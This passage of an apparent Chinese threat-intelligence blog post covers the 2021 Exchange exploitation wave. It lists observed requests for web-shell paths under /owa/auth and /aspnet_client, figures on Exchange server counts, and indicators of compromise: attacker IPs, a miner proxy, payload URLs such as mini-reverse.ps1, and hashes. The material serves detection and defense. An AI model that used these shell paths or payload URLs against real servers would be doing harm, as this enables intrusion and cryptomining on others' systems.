\t1031\nGET /owa/auth/Current/themes/resources/owafont_vn.aspx \t1019\nGET /owa/auth/shel.aspx \t1016\nGET /owa/auth/shel2.aspx \t1011\nGET /owa/auth/bob.aspx \t1008\nGET /owa/auth/OutlookZH.aspx \t1008\nGET /owa/auth/Current/themes/resources/daxlz.aspx \t1001\nGET /owa/auth/authhead.aspx \t1000\nGET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx \t993\nGET /aspnet_client/default1.aspx \t984\nGET /aspnet_client/system_web/logon.aspx \t978\nGET /aspnet_client/s.aspx \t930\nGET /aspnet_client/RedirSuiteServerProxy.aspx \t927\nGET /aspnet_client/8aUco9ZK.aspx \t920\nGET /aspnet_client/F48zhi6U.aspx \t917\nGET /aspnet_client/E3MsTjP8.aspx \t915\nGET /aspnet_client/Fc1b3WDP.aspx \t915\nGET /aspnet_client/2XJHwN19.aspx \t907\nGET /aspnet_client/0q1iS7mn.aspx \t905\nGET /aspnet_client/shell.aspx \t901\nGET /aspnet_client/McYhCzdb.aspx \t898\nGET /aspnet_client/sol.aspx \t893\nGET /aspnet_client/aspnettest.aspx \t889\nGET /aspnet_client/error_page.aspx \t885\nGET /aspnet_client/system_web/error.aspx \t883\nGET /aspnet_client/UwSPMsFi.aspx \t882\nGET /aspnet_client/web.config.aspx \t878\nGET /aspnet_client/shellex.aspx \t876\nGET /aspnet_client/uHSPTWMG.aspx \t873\nGET /aspnet_client/help.aspx \t868\nGET /aspnet_client/load.aspx \t865\nGET /aspnet_client/zXkZu6bn.aspx \t858\nGET /aspnet_client/ogu7zFil.aspx \t843\nGET /owa/auth/shell.aspx \t644\nGET /owa/auth/web.aspx \t643\nGET /owa/auth/aspnet_client.aspx \t639\nGET /owa/auth/errorEEE.aspx \t635\nGET /owa/auth/27fib.aspx \t627\nGET /owa/auth/errorEE.aspx \t625\nGET /owa/auth/b.aspx \t624\nGET /owa/auth/aspnettest.aspx \t621\nGET /owa/auth/healthcheck.aspx \t621\nGET /owa/auth/t.aspx \t620\nGET /owa/auth/shellex.aspx \t619\nGET /owa/auth/wanlin.aspx \t619\nGET /owa/auth/aspnet_iisstart.aspx \t619\nGET /owa/auth/errorFF.aspx \t615\nGET /owa/auth/test.aspx \t615\nGET /owa/auth/document.aspx \t614\nGET /owa/auth/xx.aspx \t613\nGET /owa/auth/help.aspx \t612\nGET /owa/auth/evilcorp.aspx \t611\nGET /owa/auth/web.config.aspx \t606\nGET /owa/auth/error_page.aspx \t605\nGET /owa/auth/aspnet_www.aspx \t603\nGET /owa/auth/errorFE.aspx \t601\nGET /owa/auth/errorEW.aspx \t597\nGET /owa/auth/OutlookDA.aspx \t288\nGET /owa/auth/OutlookFR.aspx \t208\nGET /owa/auth/OutlookIT.aspx \t187\nGET /owa/auth/OutlookDE.aspx \t186\nGET /owa/auth/OutlookES.aspx \t182\nGET /owa/auth/expiredpassword.aspx \t175\nGET /owa/auth/OutlookPL.aspx \t171\nGET /owa/auth/OutlookAR.aspx \t165\nGET /owa/auth/OutlookSE.aspx \t162\nGET /owa/auth/logoff.aspx \t150\nGET /owa/auth/OutlookAS.aspx \t146\nGET /owa/auth/OutlookIO.aspx \t144\nGET /owa/auth/OutlookCN.aspx \t111\nGET /aspnet_client/Service.aspx \t88\nGET /aspnet_client/1d.aspx \t88\nGET /aspnet_client/Metabase.aspx \t86\nGET /aspnet_client/7KmCS.aspx \t86\nGET /aspnet_client/config.aspx \t79\nGET /aspnet_client/cafZCu.aspx \t78\nGET /aspnet_client/8lw7tahf9i1pjnro.aspx \t77\nGET /aspnet_client/MAlREnavuY.aspx \t77\nGET /aspnet_client/a.aspx \t77\nGET /aspnet_client/Default.aspx \t76\nGET /aspnet_client/ahihi.aspx \t76\nGET /aspnet_client/aa.aspx \t76\nGET /aspnet_client/aspnet_iistart.aspx \t75\nGET /aspnet_client/configs.aspx \t74\nGET /aspnet_client/aspnet.aspx \t71\nGET /aspnet_client/aspx_client.aspx \t69\nGET /aspnet_client/error404.aspx \t67\nGET /aspnet_client/bob.aspx \t67\nGET /aspnet_client/document.aspx \t67\nGET /aspnet_client/authhead.aspx \t67\nGET /aspnet_client/current/one1.aspx \t63\nGET /aspnet_client/client.aspx \t63\nGET /aspnet_client/erroree.aspx \t63\nGET /owa/auth/seclogon.aspx \t61\nGET /aspnet_client/upnews.aspx \t60\nGET /aspnet_client/errorff.aspx \t60\nGET /owa/auth/Current/themes/resources/system_io.aspx \t60\nGET /owa/auth/15.1.225/scripts/premium/errorPE.aspx \t59\nGET /aspnet_client/y3iGH.aspx \t59\nGET /owa/auth/Current/themes/resources/errorFE.aspx \t59\nGET /owa/auth/Current/AMNBJLXqoHTV.aspx \t59\nGET /aspnet_client/errorew.aspx \t59\nGET /owa/auth/Current/themes/resources/OutlookQN.aspx \t59\nGET /owa/auth/Current/themes/resources/View_tools.aspx \t59\nGET /owa/auth/6GIXZG.aspx \t59\nGET /aspnet_client/system_web/ogzsis0L.aspx \t59\nGET /owa/auth/Current/themes/resources/Ignrop.aspx \t59\nGET /aspnet_client/errorpages.aspx \t58\nGET /aspnet_client/erroreee.aspx \t58\nGET /owa/auth/hmknq.aspx \t57\nGET /aspnet_client/system_web/4_0_30319/self.aspx \t57\nGET /owa/auth/DesktopShellExt.aspx \t57\nGET /aspnet_client/web.aspx \t56\nGET /aspnet_client/system_web/9VkFwtxt.aspx \t56\nGET /aspnet_client/default.aspx \t56\nGET /aspnet_client/soHKY.aspx \t56\nGET /aspnet_client/errorpage.aspx \t56\nGET /owa/auth/rlvgk.aspx \t54\nGET /owa/auth/logerr.aspx \t54\nGET /owa/auth/pzbwl.aspx \t54\nGET /owa/auth/owaauth.aspx \t54\nGET /aspnet_client/est11.aspx \t54\nGET /owa/auth/errorcheck.aspx \t53\nGET /owa/auth/Current/layout.aspx \t52\nGET /owa/auth/Current/themes/resources/logon.aspx \t52\nGET /owa/auth/CommonError.aspx \t52\nGET /owa/auth/Current/themes/config1.aspx \t52\nGET /owa/auth/ErrorDef.aspx \t52\nGET /owa/auth/iasads.aspx \t51\nGET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx \t51\nGET /owa/auth/061a06908b.aspx \t50\nGET /owa/auth/Current/zJBxcBoI.aspx \t50\nGET /owa/auth/errorew.aspx \t50\nGET /aspnet_client/help..aspx \t50\nGET /owa/auth/15.0.1497/themes/resources/error.aspx \t50\nGET /owa/auth/rwinsta.aspx \t50\nGET /aspnet_client/t.aspx \t50\nGET /owa/auth/server.aspx \t49\nGET /owa/auth/erroreww.aspx \t49\nGET /aspnet_client/temp.aspx \t49\nGET /owa/auth/frow.aspx \t49\nGET /aspnet_client/test007.aspx \t49\nGET /owa/auth/fhsvc.aspx \t49\nGET /owa/auth/s.aspx \t48\nGET /owa/auth/errorpage.aspx \t48\nGET /aspnet_client/zEeomtdYcX.aspx \t48\nGET /owa/auth/session.aspx \t48\nGET /owa/auth/secauth.aspx \t48\nGET /owa/auth/Current/Exchanges.aspx \t48\nGET /owa/auth/erroree.aspx \t48\nGET /owa/auth/atlthunk.aspx \t48\nGET /aspnet_client/voqbETdoni.aspx \t48\nGET /owa/auth/secauth1.aspx \t48\nGET /owa/auth/online.aspx \t48\nGET /owa/auth/erroreee.aspx \t48\nGET /owa/auth/outlooken.aspx \t48\nGET /owa/auth/error.aspx \t47\nGET /owa/auth/ProximityService.aspx \t47\nGET /owa/auth/outlookfront.aspx \t47\nGET /owa/auth/proxylogon.aspx \t47\nGET /owa/auth/8lw7tahf9i1pjnro.aspx \t47\nGET /owa/auth/ovfwHWjwWm.aspx \t47\nGET /owa/auth/qnx.aspx \t47\nGET /owa/auth/plorion.aspx \t47\nGET /aspnet_client/uyqITYBPew.aspx \t47\nGET /owa/auth/outlookru.aspx \t47\nGET /aspnet_client/show.aspx \t47\nGET /aspnet_client/fatal-erro.aspx \t46\nGET /owa/auth/errorfff.aspx \t46\nGET /owa/auth/KBDBENE.aspx \t46\nGET /owa/auth/OutlookUS.aspx \t46\nGET /aspnet_client/system.aspx \t46\nGET /owa/auth/login.aspx \t46\nGET /owa/auth/letmeinplzs.aspx \t46\nGET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx \t46\nGET /owa/auth/errorff.aspx \t46\nGET /owa/auth/redirsuiteserverproxy.aspx \t45\nGET /aspnet_client/signon.aspx \t45\nGET /aspnet_client/healthcheck.aspx \t45\nGET /aspnet_client/login.aspx \t45\nGET /owa/auth/ntprint.aspx \t45\nGET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx \t44\nGET /aspnet_client/qfmrucnzl.aspx \t44\nGET /owa/auth/errorpages.aspx \t44\nGET /owa/auth/XblGameSave.aspx \t44\nGET /owa/auth/OutlookDN.aspx \t44\nGET /aspnet_client/obq.aspx \t44\nGET /owa/auth/load.aspx \t44\nGET /aspnet_client/logaaa.aspx \t44\nGET /owa/auth/discover.aspx \t43\nGET /owa/auth/outlookjp.aspx \t43\nGET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx \t43\nGET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx \t42\nGET /aspnet_client/shel90.aspx \t42\nGET /aspnet_client/support.aspx \t42\nGET /owa/auth/HcDKNzBoha.aspx \t41\nGET /owa/auth/multiup.aspx \t41\nGET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx \t40\nGET /owa/auth/outlookzh.aspx \t40\nGET /owa/auth/HUUPItrNpXvI.aspx \t40\nGET /owa/auth/dbuj9.aspx \t40\nGET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx \t40\nGET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx \t39\nGET /owa/auth/sol.aspx \t39\nGET /owa/auth/httpproxy.aspx \t39\nGET /owa/auth/XboxNetApiSvc.aspx \t39\nGET /owa/auth/supp0rt.aspx \t39\nGET /aspnet_client/one.aspx \t39\nGET /owa/auth/signon.aspx \t38\nGET /aspnet_client/outlookjp.aspx \t38\nGET /owa/auth/OutlookEN.US.aspx \t38\nGET /owa/auth/KrhHyDPwb70ct362JmLn.aspx \t38\nGET /owa/auth/OutlookUN.aspx \t37\nGET /owa/auth/aa.aspx \t36\nGET /owa/auth/aaa.aspx \t36\nGET /owa/auth/iispage.aspx \t36\nGET /aspnet_client/redirsuiteserverproxy.aspx \t36\nGET /owa/auth/shelltest.aspx \t35\nGET /owa/auth/system_web/log.aspx \t35\nGET /owa/auth/aspx_client.aspx \t35\nGET /owa/auth/tst1.aspx \t35\nGET /owa/auth/tpmvscmgrsvr.aspx \t35\nGET /aspnet_client/online.aspx \t34\nGET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx \t34\nGET /owa/auth/aspnet.aspx \t34\nGET /aspnet_client/outlookru.aspx \t34\nGET /aspnet_client/outlookzh.aspx \t34\nGET /aspnet_client/outlookfront.aspx \t34\nGET /aspnet_client/shel.aspx \t33\nGET /aspnet_client/logg.aspx \t33\nGET /owa/auth/asas.aspx \t33\nGET /aspnet_client/server.aspx \t33\nGET /owa/auth/tNLPge.aspx \t32\nGET /owa/auth/ahihi.aspx \t32\nGET /owa/auth/TimeoutLogout.aspx \t32\nGET /owa/auth/aspnet_pages.aspx \t32\nGET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx \t32\nGET /owa/auth/test13037.aspx \t31\nGET /aspnet_client/shel2.aspx \t31\nGET /aspnet_client/one1.aspx \t31\nGET /aspnet_client/httpproxy.aspx \t31\nGET /owa/auth/test1337.aspx \t31\nGET /owa/auth/signout.aspx \t29\nGET /aspnet_client/outlooken.aspx \t28\nGET /owa/auth/default1.aspx \t28\nGET /owa/auth/theme-gsx8ujzpicf0.aspx \t28\nGET /aspnet_client/multiup.aspx \t27\nGET /aspnet_client/logout.aspx \t27\nGET /owa/auth/theme-vten8snn874b.aspx \t25\nGET /aspnet_client/error.aspx \t8\nGET /aspnet_client/errorFF.aspx \t8\nGET /aspnet_client/errorEE.aspx \t8\nGET /owa/auth/OutlookJP.aspx \t6\nGET /aspnet_client/errorEW.aspx \t6\nPOST /aspnet_client/discover.aspx \t5\nGET /aspnet_client/errorEEE.aspx \t5\nPOST /aspnet_client/system_web/logx2.aspx \t4\nGET /owa/auth/HttpProxy.aspx \t4\nGET /owa/auth/OutlookRU.aspx \t4\nGET /aspnet_client/system_web/sol.aspx \t4\nGET /aspnet_client/system_web/QBFjM1SC.aspx \t4\nGET /aspnet_client/OutlookJP.aspx \t4\nGET /aspnet_client/system_web/ioWYM7C4.aspx \t4\nGET /owa/auth/Online.aspx \t4\nGET /aspnet_client/MultiUp.aspx \t4\nGET /owa/auth/Logout.aspx \t4\nGET /aspnet_client/system_web/E12B65rm.aspx \t4\nGET /aspnet_client/system_web/vY4qLEpG.aspx \t3\nGET /aspnet_client/system_web/test.aspx \t3\nGET /aspnet_client/Online.aspx \t3\nGET /aspnet_client/system_web/3ue5myCq.aspx \t3\nGET /aspnet_client/system_web/sJ0f8qHt.aspx \t3\nGET /aspnet_client/system_web/cMvBgHLZ.aspx \t3\nGET /aspnet_client/system_web/WFk2or3Y.aspx \t3\nGET /aspnet_client/system_web/GnCwADKH.aspx \t3\nGET /aspnet_client/rabiitch.aspx \t3\nGET /aspnet_client/system_web/Cs64LbPk.aspx \t3\nGET /aspnet_client/Logout.aspx \t2\nGET /owa/auth/WMSPDMOD.aspx \t2\nGET /aspnet_client/OutlookRU.aspx \t2\nGET /owa/auth/Discover.aspx \t2\nGET /aspnet_client/system_web/2TFGNswO.aspx \t2\nGET /aspnet_client/Discover.aspx \t2\nGET /owa/auth/checkerror635284.aspx \t2\nGET /owa/auth/MultiUp.aspx \t2\nGET /aspnet_client/system_web/3NHhPxJ5.aspx \t2\nGET /aspnet_client/system_web/1A2ZeQOu.aspx \t2\nGET /owa/auth/Current/themes/resources/lgnleft.aspx \t2\nGET /aspnet_client/checkerror635284.aspx \t2\nGET /owa/auth/1d61acae91.aspx \t2\nGET /owa/auth/current/themes/resources/error.aspx \t1\nGET /aspnet_client/iisstart.aspx \t1\nGET /owa/auth/lo.aspx \t1\nGET /owa/auth/error404.aspx \t1\n```\n\n\n### Miscrosoft Exchange服务器分布\n360 Quake网络空间测绘系统通过对全网资产测绘，发现[Microsoft Exchange服务器](https://quake.360.cn/quake/#/searchResult?searchVal=app%3A%22Exchange%E9%82%AE%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8%22&selectIndex=quake_service)共3,378,260条数据记录，其中有534,590个独立IP，具体分布如下图所示。\n<a href=\"__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_cn.png\"><img src=\"__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_cn.png\" class=\"kg-image\"/></a>\n \n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nIP:\n```\n178.62.226.184\n157.245.47.214\n```\n\nMiner Proxy:\n```\n159.65.206.137:3333\n```\n\nURL:\n```\nhttp://178.62.226.184/mini-reverse.ps1 \nhttp://178.62.226.184/run.ps1\nhttp://178.62.226.184/config.json\nhttp://178.62.226.184/javacpl.exe\nhttp://178.62.226.184/WinRing0x64.sys\n```\n\nMD5:\n```\n79e2c9953f452f777d55749f01e5f3b7\n2d4d75e46f6de65fba2451da71686322\n0fe28f557e9997cd2750ff3fa86a659e\n67f2d42e30f6239114feafc9ffd009d8\n0c0195c48b6b8582fa6f6373032118da\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}